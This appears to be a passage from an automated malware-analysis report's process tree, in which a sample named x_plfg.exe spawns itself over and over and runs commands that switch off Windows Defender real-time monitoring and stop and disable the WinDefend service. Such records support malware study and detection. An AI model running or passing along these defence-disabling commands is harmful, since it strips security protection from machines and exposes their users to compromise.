        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        6⤵
        
        PID:14332
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:14468
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        8⤵
        
        PID:14988
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:15436
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        10⤵
        
        PID:16160
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:16820
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        12⤵
        
        PID:17668
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:19280
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        14⤵
        
        PID:22344
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:24956
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        
        PID:36404
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:38480
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:38864
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:41816
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        10⤵
        
        PID:36260
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:39596
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        8⤵
        
        PID:32884
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:35964
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        6⤵
        
        PID:32036
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:34612
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
      4⤵
      PID:31440
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:34956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
  2⤵
  PID:9340
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    PID:9484
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
      4⤵
      PID:9644
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:9744
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        6⤵
        
        PID:9852
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:10004
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        8⤵
        
        PID:10108
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:9356
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        10⤵
        
        PID:10256
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:10380
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        12⤵
        
        PID:10480
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:10556
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        14⤵
        
        PID:10676
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:10788
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        
        PID:10960
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:11064
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        18⤵
        
        PID:11172
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:10772
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        20⤵
        
        PID:11332
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:11488
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        22⤵
        
        PID:11628
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:11760
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        24⤵
        
        PID:11880
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:11992
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        26⤵
        
        PID:12132
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:12252
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        28⤵
        
        PID:12172
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:12396
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        30⤵
        
        PID:12528
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:12648
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        32⤵
        
        PID:12768
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:12908
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        34⤵
        
        PID:13044
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:13148
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        36⤵
        
        PID:12440
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:13336
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        38⤵
        
        PID:13460
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:13592
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        40⤵
        
        PID:13692
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        
        PID:13784
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        42⤵
        
        PID:13948
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:14140
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        44⤵
        
        PID:14376
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:14744
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        46⤵
        
        PID:14456
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        47⤵
        
        PID:16332
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        48⤵
        
        PID:17340
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        49⤵
        
        PID:16944
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        50⤵
        
        PID:19460
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        51⤵
        
        PID:22004
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        52⤵
        
        PID:26020
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:30120
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        50⤵
        
        PID:40924
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        48⤵
        
        PID:38084
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        49⤵
        
        PID:41120
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        46⤵
        
        PID:34584
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        47⤵
        
        PID:38128
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        44⤵
        
        PID:32632
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:34688
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        42⤵
        
        PID:31708
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:34104
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        40⤵
        
        PID:30784
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        
        PID:34700
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        38⤵
        
        PID:30268
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:33912
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        36⤵
        
        PID:30100
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:32832
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        34⤵
        
        PID:29508
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:32420
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        32⤵
        
        PID:29160
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:31472
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        30⤵
        
        PID:22580
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:31180
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        28⤵
        
        PID:28080
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:31416
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        26⤵
        
        PID:27944
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:31856
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        24⤵
        
        PID:27524
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:29660
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        22⤵
        
        PID:27120
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:29500
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        20⤵
        
        PID:26924
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:25568
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        18⤵
        
        PID:26380
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:30732
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        16⤵
        
        PID:26212
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:29424
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        14⤵
        
        PID:25244
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:29572
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:25124
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:28188
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        10⤵
        
        PID:24764
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:29036
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        8⤵
        
        PID:24528
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:27300
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        6⤵
        
        PID:23584
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:24264
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
      4⤵
      PID:23328
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:26644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
  2⤵
  PID:23016
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    PID:26180
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
      4⤵
      PID:42496

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6412

C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
1⤵
PID:8360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
  2⤵
  PID:8444
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    PID:8532
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
      4⤵
      PID:8616
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:8700
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        6⤵
        
        PID:8784
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:8848
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        8⤵
        
        PID:8936
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:9008
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        10⤵
        
        PID:9088
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:9172
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        12⤵
        
        PID:8260
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:8932
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        14⤵
        
        PID:9256
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:9388
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        
        PID:9500
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:9616
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        18⤵
        
        PID:9760
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:9912
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        20⤵
        
        PID:10020
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:10168
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        22⤵
        
        PID:9348
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:10264
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        24⤵
        
        PID:10412
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:10600
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        26⤵
        
        PID:10732
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:10856
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        28⤵
        
        PID:11008
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:11148
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        30⤵
        
        PID:11252
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:11020
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        32⤵
        
        PID:11356
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:11460
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        34⤵
        
        PID:11572
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:11692
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        36⤵
        
        PID:11796
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:11888
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        38⤵
        
        PID:12020
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:12124
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        40⤵
        
        PID:12264
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        
        PID:12284
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        42⤵
        
        PID:12416
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:12536
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        44⤵
        
        PID:12668
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:12792
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        46⤵
        
        PID:12900
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        47⤵
        
        PID:13020
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        48⤵
        
        PID:13124
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        49⤵
        
        PID:13236
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        50⤵
        
        PID:12920
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        51⤵
        
        PID:13364
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        52⤵
        
        PID:13524
        
